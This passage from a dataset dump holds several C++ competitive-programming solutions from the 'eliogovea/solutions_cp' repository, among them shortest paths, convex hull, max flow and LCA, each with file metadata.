int>,vector<pair<int, int> >, greater<pair<int, int> > > Q;\r\nbool mark[MAXN];\r\n\r\nint main() {\r\n scanf(\"%d%d%d%d%d%d\", &n, &m, &a, &b, &k, &g);\r\n for (int i = 0; i < g; i++) scanf(\"%d\", &gw[i]);\r\n for (int i = 0, x, y, z; i < m; i++) {\r\n scanf(\"%d%d%d\", &x, &y, &z);\r\n cost[x][y] = z;\r\n cost[y][x] = z;\r\n ady[x].push_back(y);\r\n ady[y].push_back(x);\r\n }\r\n for (int i = 1; i <= n; i++) tg[i] = 1 << 29;\r\n int tot = 0;\r\n for (int i = 1; i < g; i++) {\r\n bi[ gw[i] ][ gw[i - 1] ] = bi[ gw[i - 1] ][ gw[i] ] = tot;\r\n tot += cost[ gw[i] ][ gw[i - 1] ];\r\n bf[ gw[i] ][ gw[i - 1] ] = bf[ gw[i - 1] ][ gw[i] ] = tot;\r\n }\r\n\r\n /*for (int i = 1; i <= n; i++) {\r\n for (int j = 1; j <= n; j++) printf(\"%d \", bf[i][j]);\r\n printf(\"\\n\");\r\n }*/\r\n\r\n for (int i = 1; i <= n; i++) t[i] = 1 << 29;\r\n t[a] = k;\r\n Q.push(make_pair(k, a));\r\n while (!Q.empty()) {\r\n int u = Q.top().second;\r\n //printf(\">>%d\\n\", u);\r\n Q.pop();\r\n if (mark[u]) continue;\r\n mark[u] = 1;\r\n for (it = ady[u].begin(); it != ady[u].end(); it++) {\r\n //printf(\">>>%d %d %d %d\\n\", *it, t[u], bi[u][*it], bf[u][*it]);\r\n\r\n if (t[u] < bi[u][*it] || t[u] > bf[u][*it]) {\r\n if (t[*it] > t[u] + cost[u][*it]) {\r\n t[*it] = t[u] + cost[u][*it];\r\n Q.push(make_pair(t[*it], *it));\r\n }\r\n }\r\n\r\n else {\r\n if (t[*it] > bf[u][*it] + cost[u][*it]) {\r\n t[*it] = bf[u][*it] + cost[u][*it];\r\n Q.push(make_pair(t[*it], *it));\r\n }\r\n }\r\n }\r\n }\r\n //for (int i = 1; i <= n; i++) printf(\"%d \", t[i]);\r\n printf(\"%d\\n\", t[b] - k);\r\n}\r\n" }, { "alpha_fraction": 0.4517684876918793, "alphanum_fraction": 0.4662379324436188, "avg_line_length": 14.368420600891113, "blob_id": "da222d3cc181d4e9601c33e09cc7b9f8bc7aee5f", "content_id": "4427b1e13352b0e4aedc87de5311de5f2777ea59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 622, "license_type": "no_license", "max_line_length": 48, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2662-Accepted-s903338.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstruct item {\r\n\tstring s[3];\r\n\tvoid get() {\r\n\t\tcin >> s[0] >> s[1] >> s[2];\r\n\t\tsort(s, s + 3);\r\n\t}\r\n};\r\n\r\nbool operator < (const item &a, const item &b) {\r\n\tfor (int i = 0; i < 3; i++) {\r\n\t\tif (a.s[i] != b.s[i]) return a.s[i] < b.s[i];\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nmap <item, int> M;\r\nmap <item, int>::iterator it;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n;\r\n\titem x;\r\n\tcin >> n;\r\n\twhile (n--) {\r\n\t\tx.get();\r\n\t\tM[x]++;\r\n\t}\r\n\tint ans = 0;\r\n\tfor (it = M.begin(); it != M.end(); it++) {\r\n\t\tans = max(ans, it->second);\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3248175084590912, "alphanum_fraction": 0.3321167826652527, "avg_line_length": 16.266666412353516, "blob_id": "78e5cf713a8fea4ff96496914e536ac1c9ede237", "content_id": "0f0c2ee1e668f56179be1962cad2b87dde6bca74", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 274, "license_type": "no_license", "max_line_length": 42, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p2322-Accepted-s468636.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint n,t,c,x;\r\n\r\nint main(){\r\n cin >> n;\r\n while(n--){\r\n cin >> c;\r\n t=-c+1;\r\n while(c--){cin >> x; t+=x;}\r\n cout << t << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.3387930989265442, "alphanum_fraction": 0.3681034445762634, "avg_line_length": 16.70967674255371, "blob_id": "060c3415a45a04a11abab8371f22e2f2203a22e3", "content_id": "ca51259b82b397b91a058ee0a278ee581db481d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1160, "license_type": "no_license", "max_line_length": 40, "num_lines": 62, "path": "/COJ/eliogovea-cojAC/eliogovea-p3160-Accepted-s816351.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005;\r\n\r\nint n;\r\nstring a, b;\r\nint ca[N], cb[N];\r\nbool dp[N][N];\r\nint rec[N][N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> a >> b;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tca[i] = ca[i - 1] + (a[i - 1] == '0');\r\n\t\tcb[i] = cb[i - 1] + (b[i - 1] == '0');\r\n\t}\r\n\tdp[0][0] = true;\r\n\tfor (int i = 0; i <= n; i++) {\r\n\t\tfor (int j = 0; j <= n; j++) {\r\n\t\t\tif (dp[i][j]) {\r\n\t\t\t\tif (i + 1 <= n) {\r\n\t\t\t\t\tint cer = ca[i + 1] + cb[j];\r\n\t\t\t\t\tint uno = i + 1 + j - cer;\r\n\t\t\t\t\tif (abs(cer - uno) <= 1) {\r\n\t\t\t\t\t\tdp[i + 1][j] = true;\r\n\t\t\t\t\t\trec[i + 1][j] = 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif (j + 1 <= n) {\r\n\t\t\t\t\tint cer = ca[i] + cb[j + 1];\r\n\t\t\t\t\tint uno = i + j + 1 - cer;\r\n\t\t\t\t\tif (abs(cer - uno) <= 1) {\r\n\t\t\t\t\t\tdp[i][j + 1] = true;\r\n\t\t\t\t\t\trec[i][j + 1] = 2;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tvector<int> ans;\r\n\tint x = n;\r\n\tint y = n;\r\n\twhile (true) {\r\n\t\tans.push_back(rec[x][y]);\r\n\t\tif (rec[x][y] == 1) {\r\n\t\t\tx--;\r\n\t\t} else {\r\n\t\t\ty--;\r\n\t\t}\r\n\t\tif (x == 0 && y == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\treverse(ans.begin(), ans.end());\r\n\tfor (int i = 0; i < ans.size(); i++) {\r\n\t\tcout << ans[i];\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4943705201148987, "alphanum_fraction": 0.5609006881713867, "avg_line_length": 27.735294342041016, "blob_id": "778d0b9971919d67e6a0841daa0ae948f6a41f03", "content_id": "2cccffd21f494dccf3fbc65315d6ba7da8f9b7f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 977, "license_type": "no_license", "max_line_length": 72, "num_lines": 34, "path": "/Codeforces-Gym/101124 - 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E06: Codeforces Trainings Season 3 Episode 6\n// 101124K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(2);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tstring line;\n\tdouble lastChange = 0.0;\n\tdouble lastSpeed = 0.0;\n\tdouble length = 0.0;\n\twhile (getline(cin, line)) {\n\t\tdouble h = (10.0 * (double)(line[0] - '0') + (double)(line[1] - '0'));\n\t\tdouble m = (10.0 * (double)(line[3] - '0') + (double)(line[4] - '0'));\n\t\tdouble s = (10.0 * (double)(line[6] - '0') + (double)(line[7] - '0'));\n\t\tdouble curTime = h + m / 60.0 + s / 3600.0;\n\t\tif (line.size() == 8) {\n\t\t\tdouble ans = length + lastSpeed * (curTime - lastChange);\n\t\t\tcout << line << \" \" << fixed << ans << \" km\\n\";\n\t\t} else {\n\t\t\tlength += lastSpeed * (curTime - lastChange);\n\t\t\tlastChange = curTime;\n\t\t\tlastSpeed = 0.0;\n\t\t\tfor (int i = 9; i < line.size(); i++) {\n\t\t\t\tlastSpeed = 10.0 * lastSpeed + (double)(line[i] - '0');\n\t\t\t}\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.42769500613212585, "alphanum_fraction": 0.44171780347824097, "avg_line_length": 17.672412872314453, "blob_id": "4f225436cdef6c1c1a0ac8a7d5b36de236b3b7c7", "content_id": "6e19b75dbac28b0da694e9e80dd725a43d29f012", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1141, "license_type": "no_license", "max_line_length": 47, "num_lines": 58, "path": "/COJ/eliogovea-cojAC/eliogovea-p2695-Accepted-s642467.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n//#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint n, k;\r\nvector<int> v[25];\r\nstring str;\r\n\r\nvector<int> func(const string &s) {\r\n\tint i = 1, num = 0;\r\n\tbool menos = false;\r\n\tvector<int> r;\r\n\tr.clear();\r\n\tfor (int i = 0; s[i]; i++) {\r\n\t\tif (s[i] == '{') continue;\r\n\t\tif (s[i] == ',' || s[i] == '}') {\r\n\t\t\tif (menos) num = -num;\r\n\t\t\tr.push_back(num);\r\n\t\t\tnum = 0;\r\n\t\t\tmenos = false;\r\n\t\t}\r\n\t\telse if (s[i] == '-') menos = true;\r\n\t\telse num = 10 * num + s[i] - '0';\r\n\t}\r\n\treturn r;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n;\r\n\twhile (n--) {\r\n\t\tcin >> k;\r\n\t\tint len = -1;\r\n\t\tbool sol = true;\r\n\t\tfor (int i = 0; i < k; i++) {\r\n\t\t\tv[i].clear();\r\n\t\t\tcin >> str;\r\n\t\t\tif (!sol) continue;\r\n\t\t\tv[i] = func(str);\r\n\t\t\tif (len == -1) len = v[i].size();\r\n\t\t\telse if (len != v[i].size()) sol = false;\r\n\t\t}\r\n\t\tif (sol) {\r\n\t\t\tcout << '{';\r\n\t\t\tfor (int i = 0; i < len; i++) {\r\n\t\t\t\tint tmp = 0;\r\n\t\t\t\tfor (int j = 0; j < k; j++) tmp += v[j][i];\r\n\t\t\t\tcout << tmp;\r\n\t\t\t\tif (i < len - 1) cout << ',';\r\n\t\t\t}\r\n\t\t\tcout << \"}\\n\";\r\n\t\t}\r\n\t\telse cout << \"No solution\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.311367392539978, "alphanum_fraction": 0.36079078912734985, "avg_line_length": 24.30434799194336, "blob_id": "cc5ebfae23a5c826d8bae4d1a8d506aaaface852", "content_id": "14700b1b1ae29a229c7e99b8bc18d46e1664b32c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 607, "license_type": "no_license", "max_line_length": 68, "num_lines": 23, "path": "/COJ/eliogovea-cojAC/eliogovea-p1102-Accepted-s388692.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\nint SL(char *a){\r\n char *p=a;\r\n while(*p++);\r\n return p-a-1;\r\n }\r\nint main(){\r\n for(int i=1; i>0; i++){\r\n char n[1000];\r\n cin >> n;\r\n if(n[0]=='0')break;\r\n else{\r\n int l=SL(n);\r\n int c1=0;\r\n int c2=0;\r\n for(int j=0; j<l; j+=2)c1+=n[j]-'0';\r\n for(int k=1; k<l; k+=2)c2+=n[k]-'0';\r\n if((c1-c2)%11==0)cout << n << \" is a multiple of 11.\\n\";\r\n else cout << n << \" is not a multiple of 11.\\n\";\r\n }\r\n }\r\n }\r\n\r\n" }, { "alpha_fraction": 0.395480215549469, "alphanum_fraction": 0.42247331142425537, "avg_line_length": 20.239999771118164, "blob_id": "d2c8c3eadfcbb63e7835cdd4d101cb140a0f1afd", "content_id": "db65dbbe418076225aef39833e9f823ee9e21de6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1593, "license_type": "no_license", "max_line_length": 69, "num_lines": 75, "path": "/Codeforces-Gym/100685 - 2012-2013 ACM-ICPC, NEERC, Moscow Subregional Contest/G.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012-2013 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100685G\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100005;\n\nint n;\nvector <pair <int, int> > g[N];\nint tin[N], tout[N], ttt;\nint sum[N];\nint par[22][N];\nint depth[N];\n\nvoid dfs(int u, int p, int s, int d) {\n tin[u] = ttt++;\n par[0][u] = p;\n sum[u] = s;\n depth[u] = d;\n for (int i = 1; i < 20; i++) {\n par[i][u] = par[i - 1][par[i - 1][u]];\n }\n for (int i = 0; i < g[u].size(); i++) {\n int v = g[u][i].first;\n if (v == p) continue;\n dfs(v, u, s + g[u][i].second, d + 1);\n }\n tout[u] = ttt++;\n}\n\nbool anc(int a, int b) {\n return (tin[a] <= tin[b] && tout[b] <= tout[a]);\n}\n\nint lca(int a, int b) {\n if (anc(a, b)) return a;\n for (int i = 19; i >= 0; i--) {\n if (!anc(par[i][a], b)) {\n a = par[i][a];\n }\n }\n return par[0][a];\n}\n\n\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n cin >> n;\n for (int i = 1; i < n; i++) {\n int a, b;\n cin >> a >> b;\n a--; b--;\n g[a].push_back(make_pair(b, 1));\n g[b].push_back(make_pair(a, 0));\n }\n dfs(0, 0, 0, 0);\n int q;\n cin >> q;\n while (q--) {\n int a, b;\n cin >> a >> b;\n a--; b--;\n int _lca = lca(a, b);\n int suma = sum[a] - sum[_lca];\n int lena = depth[a] - depth[_lca];\n int sumb = sum[b] - sum[_lca];\n int lenb = depth[b] - depth[_lca];\n cout << ((suma == 0 && sumb == lenb) ? \"Yes\" : \"No\") << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.49011147022247314, "alphanum_fraction": 0.5037755966186523, "avg_line_length": 22.18260955810547, "blob_id": "cffe673272dba9dd1bde17df3c86658b44bda2bc", "content_id": "f6f10f93f891118a75e90ada0e2d665932cffec3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2781, "license_type": "no_license", "max_line_length": 90, "num_lines": 115, "path": "/COJ/eliogovea-cojAC/eliogovea-p3365-Accepted-s827134.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdlib>\r\n#include <cstdio>\r\n#include <vector>\r\n#include <algorithm>\r\n#include <cmath>\r\n\r\nusing namespace std;\r\n\r\n#define sqr(x) ((x) * (x))\r\n\r\nconst long double eps = (long double)1e-9;\r\n\r\nconst long double pi = acos(-1.0);\r\n\r\nstruct point {\r\n\tlong double x, y;\r\n};\r\n\r\nint n;\r\nvector <point> p, hull;\r\nlong double ans;\r\n\r\nbool cmp(point a, point b) {\r\n\treturn (a.x < b.x || (a.x == b.x && a.y < b.y));\r\n}\r\n\r\nbool eq(point a, point b) {\r\n\treturn (a.x == b.x && a.y == b.y);\r\n}\r\n\r\nbool isCCW(point a, point b, point c) {\r\n\treturn a.x * (b.y - c.y) + b.x * (c.y - a.y) + c.x * (a.y - b.y) > 0;\r\n}\r\n\r\nvoid setConvexHull(vector <point> p, vector <point> &h) {\r\n\tsort(p.begin(), p.end(), cmp);\r\n\tp.erase(unique(p.begin(), p.end(), eq), p.end());\r\n\r\n\tvector <point> up, down;\r\n\tpoint head = p[0], tail = p.back();\r\n\r\n\tup.push_back(head); down.push_back(head);\r\n\r\n\tfor (int i = 1; i < (int) p.size(); i++) {\r\n\t\tif (i == (int) p.size() - 1 || !isCCW(tail, head, p[i])) {\r\n\t\t\twhile ( (int) up.size() >= 2 && isCCW(up[up.size() - 2], up.back(), p[i]) )\r\n\t\t\t\tup.pop_back();\r\n\t\t\tup.push_back(p[i]);\r\n\t\t}\r\n\t\tif (i == (int) p.size() - 1 || isCCW(tail, head, p[i])) {\r\n\t\t\twhile ( (int) down.size() >= 2 && !isCCW(down[down.size() - 2], down.back(), p[i]) )\r\n\t\t\t\tdown.pop_back();\r\n\t\t\tdown.push_back(p[i]);\r\n\t\t}\r\n\t}\r\n\r\n\th.clear();\r\n\tfor (int i = 0; i < (int) up.size(); i++)\r\n\t\th.push_back(up[i]);\r\n\tfor (int i = (int) down.size() - 2; i > 0; i--)\r\n\t\th.push_back(down[i]);\r\n\r\n}\r\n\r\nlong double dist2(point a, point b) {\r\n return sqr(a.x - b.x) + sqr(a.y - b.y);\r\n}\r\n\r\nlong double dist(point a, point b) {\r\n\treturn sqrt(sqr(a.x - b.x) + sqr(a.y - b.y));\r\n}\r\n\r\nlong double cross(const point &a, const point &b, const point &c) {\r\n\treturn (b.x - a.x) * (c.y - a.y) - (b.y - a.y) * (c.x - a.x);\r\n}\r\n\r\nlong double dot(const point &a, const point &b, const point &c) {\r\n return (b.x - a.x) * (c.x - a.x) + (b.y - a.y) * (c.y - a.y);\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tlong long x, y;\r\n\t\tcin >> x >> y;\r\n\t\tpoint tmp;\r\n\t\ttmp.x = x;\r\n\t\ttmp.y = y;\r\n\t\tp.push_back(tmp);\r\n\t}\r\n\r\n\tsetConvexHull(p, hull);\r\n\r\n\tfor (int i = 0; i < hull.size(); i++) {\r\n\t\tint prev = (i == 0) ? hull.size() - 1 : i - 1;\r\n\t\tint cur = i;\r\n\t\tint next = (i == hull.size() - 1) ? 0 : i + 1;\r\n long double a = sqrt(dist2(hull[cur], hull[prev]) * dist2(hull[cur], hull[next]));\r\n\t\tlong double c = cross(hull[cur], hull[prev], hull[next]);\r\n\t\tlong double d = dot(hull[cur], hull[prev], hull[next]);\r\n\t\tlong double ang = asin((long double) c / a) * (long double)180.0 / pi;\r\n\t\tif (d < -eps) {\r\n ang = ((long double) 180.0) - ang;\r\n\t\t}\r\n\t\tif ((i == 0) || (ang < ans)) {\r\n\t\t\tans = ang;\r\n\t\t}\r\n\t}\r\n\r\n\tprintf(\"%.6lf\\n\", (double)ans);\r\n\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.38858091831207275, "alphanum_fraction": 0.4035476744174957, "avg_line_length": 18.824174880981445, "blob_id": "e24fbb182d3902dcd88e1f34a4d5bd62f66ad9b1", "content_id": "e22ee74fe6b2ecae1761d0d2d68c5545eb238e1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1804, "license_type": "no_license", "max_line_length": 54, "num_lines": 91, "path": "/Caribbean-Training-Camp-2018/Contest_6/Solutions/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\nconst int maxn = 100010;\nint n;\nvector<int> v[maxn];\n\nint dis[maxn]; // nodo a dist i\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n // freopen( \"dat.txt\", \"r\", stdin );\n int diam = 0;\n cin >> n;\n for( int i = 1,x; i <= n; i++ ){\n cin >> x;\n v[ x ].push_back( i );\n diam = max( diam, x );\n }\n\n int a, b;\n vector< pair<int,int> > ans;\n int d_center, ccent;\n if( diam %2 == 1 ){\n ccent = 2;\n d_center = diam/2+1;\n }\n else{\n ccent = 1;\n d_center = diam/2;\n }\n\n int curr_d = d_center;\n\n\n if( v[ curr_d ].size() != ccent ){\n cout << \"Epic fail\\n\";\n return 0;\n\n }\n a = v[curr_d].back(); v[curr_d].pop_back();\n if( ccent == 2 ){\n b = v[curr_d].back();\n v[curr_d].pop_back();\n ans.push_back( make_pair( a, b ) );\n }\n else\n b = a;\n\n int c,d;\n\n dis[ curr_d ] = a;\n\n while(curr_d < diam ){\n curr_d++;\n if( v[ curr_d ].size() < 2 ){\n cout << \"Epic fail\\n\";\n return 0;\n }\n\n c = v[curr_d].back(); v[curr_d].pop_back();\n d = v[curr_d].back(); v[curr_d].pop_back();\n ans.push_back( make_pair( a, c ) );\n ans.push_back( make_pair( b, d ) );\n a = c;\n b = d;\n dis[ curr_d ] = a;\n }\n\n for( int i = 0; i <= diam; i++ ){\n for( auto e: v[ i ] ){\n if( i <= d_center || !dis[i-1] ){\n cout << \"Epic fail\\n\";\n return 0;\n }\n ans.push_back( make_pair( dis[i-1], e ) );\n }\n }\n\n cout << \"I got it\\n\";\n //assert( ans.size() == n-1 );\n\n for( auto e: ans ){\n cout << e.first << \" \" << e.second << '\\n';\n\n }\n\n return 0;\n}\n" }, { "alpha_fraction": 0.3565545678138733, "alphanum_fraction": 0.37714481353759766, "avg_line_length": 18.958904266357422, "blob_id": "bb030c77d146ecc8a215b5039f44cc861143ad03", "content_id": "b28e030fbdaea92414f8f8fd11c175b98d68265c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2914, "license_type": "no_license", "max_line_length": 77, "num_lines": 146, "path": "/Codeforces-Gym/101196 - 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC East Central North America Regional Contest (ECNA 2016)\n// 101196I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int oo = ( 1 << 29 );\nconst int MAXN = 500;\nconst int MAXM = 100100;\n\nint n, s, t, E;\nint ady[MAXM], next[MAXM], cap[MAXM], flow[MAXM];\nint last[MAXN], now[MAXN];\n\nvoid init_MAXFLOW( int _n , int _s , int _t ){\n E = 2;\n n = _n;\n s = _s;\n t = _t;\n\n for( int i = 0; i <= n; i++ ){\n last[i] = 0;\n }\n}\n\nvoid add_edge( int u, int v, int c ){\n ady[E] = v; cap[E] = c; flow[E] = 0; next[E] = last[u]; last[u] = E++;\n ady[E] = u; cap[E] = 0; flow[E] = 0; next[E] = last[v]; last[v] = E++;\n}\n\nint d[MAXN];\nbool bfs(){\n for( int i = 1; i <= n; i++ ){\n d[i] = 0;\n }\n d[s] = 1;\n queue<int> q;\n q.push( s );\n\n while( !q.empty() ){\n int u = q.front(); q.pop();\n for( int e = last[u]; e; e = next[e] ){\n int v = ady[e];\n if( !d[v] && flow[e] < cap[e] ){\n d[v] = d[u] + 1;\n q.push(v);\n }\n }\n }\n\n return d[t] > 0;\n}\n\nint dfs( int u, int FLOW ){\n if( u == t ){\n return FLOW;\n }\n\n for( int e = now[u], f; e; e = now[u] = next[e] ){\n int v = ady[e];\n if( d[u] + 1 == d[v] && flow[e] < cap[e] ){\n if( (f = dfs( v , min( FLOW , cap[e] - flow[e] ))) ){\n flow[e] += f;\n flow[e^1] -= f;\n return f;\n }\n }\n }\n\n return 0;\n}\n\nint MAXFLOW(){\n int flow = 0, f = 0;\n\n while( bfs() ){\n for( int i = 0; i <= n; i++ ){\n now[i] = last[i];\n }\n\n while( (f = dfs( s , oo )) ){\n flow += f;\n }\n }\n\n return flow;\n}\n\n\nbool kk[MAXN];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\n int boys, toys, cats; cin >> boys >> toys >> cats;\n cats++;\n\n int n = boys + toys + cats + 2;\n int s = boys + toys + cats + 1;\n int t = boys + toys + cats + 2;\n\n init_MAXFLOW( n, s, t );\n\n for( int bi = 1; bi <= boys; bi++ ){\n add_edge( s , bi , 1 );\n\n int ki; cin >> ki;\n\n for( int i = 0; i < ki; i++ ){\n int ti; cin >> ti;\n\n add_edge( bi , boys + ti , 1 );\n }\n }\n\n for( int ci = 1; ci <= cats; ci++ ){\n int r = oo;\n\n if( ci == cats ){\n for( int ti = 1; ti <= toys; ti++ ){\n if( !kk[ti] ){\n add_edge( boys + ti , boys + toys + ci , 1 );\n }\n }\n }\n else{\n int ki; cin >> ki;\n for( int i = 0; i < ki; i++ ){\n int ti; cin >> ti;\n kk[ti] = true;\n\n add_edge( boys + ti , boys + toys + ci , 1 );\n }\n\n cin >> r;\n }\n\n add_edge( boys + toys + ci , t , r );\n }\n\n cout << MAXFLOW() << '\\n';\n}\n" }, { "alpha_fraction": 0.38874679803848267, "alphanum_fraction": 0.40281328558921814, "avg_line_length": 14.638298034667969, "blob_id": "2272c6dde6819fada92be12cee194abd69d86f0f", "content_id": "24a36fbdfa08da8e25f887064e4fbca873d7c161", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 782, "license_type": "no_license", "max_line_length": 37, "num_lines": 47, "path": "/COJ/eliogovea-cojAC/eliogovea-p3472-Accepted-s908148.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint n, m;\r\n\tvector <int> a, b;\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint x;\r\n\t\tcin >> x;\r\n\t\ta.push_back(x);\r\n\t}\r\n\tcin >> m;\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tint x;\r\n\t\tcin >> x;\r\n\t\tb.push_back(x);\r\n\t}\r\n\tsort(a.begin(), a.end());\r\n\tsort(b.begin(), b.end());\r\n\tbool ok = false;;\r\n\tif (m == n) {\r\n\t\tok = true;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tif (a[i] != b[i]) {\r\n\t\t\t\tok = false;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (ok) {\r\n\t\tcout << \"=\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\tdouble x = 0.0;\r\n\tdouble y = 0.0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tx += log((double)a[i]);\r\n\t}\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\ty += log((double)b[i]);\r\n\t}\r\n\tcout << (x < y ? \"<\" : \">\") << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.412887841463089, "alphanum_fraction": 0.4534606337547302, "avg_line_length": 18.950000762939453, "blob_id": "176f73e4b818f3ee3eb7a134cfd73209476b160a", "content_id": "fafbff1500fce5bb1421ec7c14c371817afc3053", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 419, "license_type": "no_license", "max_line_length": 83, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2789-Accepted-s603805.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nchar str[1010];\r\nint arr[1010], ind;\r\nint main() {\r\n\tgets(str);\r\n\tint num = 0;\r\n\tfor (char *p = str; *p; p++) {\r\n\t\tif (*p < '0' || *p >'9') {\r\n\t\t\tarr[ind++] = num;\r\n\t\t\tnum = 0;\r\n\t\t}\r\n\t\telse num = 10 * num + *p - '0';\r\n\t}\r\n\tarr[ind++] = num;\r\n\tsort(arr, arr + ind);\r\n\tfor (int i = 0; i < ind; i++) printf(\"%d%c\", arr[i], (i == ind - 1) ? '\\n' : '+');\r\n}\r\n" }, { "alpha_fraction": 0.3225371241569519, "alphanum_fraction": 0.33738192915916443, "avg_line_length": 17.5, "blob_id": "c6a1faac61bdf2da101c4d2874f503de3957bd62", "content_id": "1b3dc1e87b6811a3d45c671c867df9caa04bf5cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 741, "license_type": "no_license", "max_line_length": 42, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p2895-Accepted-s622131.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n#include <cstdio>\r\n\r\nusing namespace std;\r\n\r\ntypedef unsigned long long ll;\r\n\r\nll a, b, p, s, pp;\r\nll sol[1000], ind;\r\n\r\nint main()\r\n{\r\n while (cin >> a >> b >> p) {\r\n a--;\r\n s = 0;\r\n pp = p;\r\n while (true) {\r\n s += ( b / pp - a / pp );\r\n if (pp > b / p + b % p) {\r\n //cout << pp << endl;\r\n break;\r\n }\r\n pp *= p;\r\n }\r\n\r\n while (s) {\r\n sol[ind++] = s % 8ll;\r\n s /= 8ll;\r\n }\r\n if (!ind) printf(\"0\");\r\n for (int i = ind - 1; i >= 0; i--)\r\n cout << sol[i];\r\n printf(\"\\n\");\r\n ind = 0;\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.40498441457748413, "alphanum_fraction": 0.43302181363105774, "avg_line_length": 16.882352828979492, "blob_id": "b6f2bf4b76af83a450729360de4a4ed1ecd7733d", "content_id": 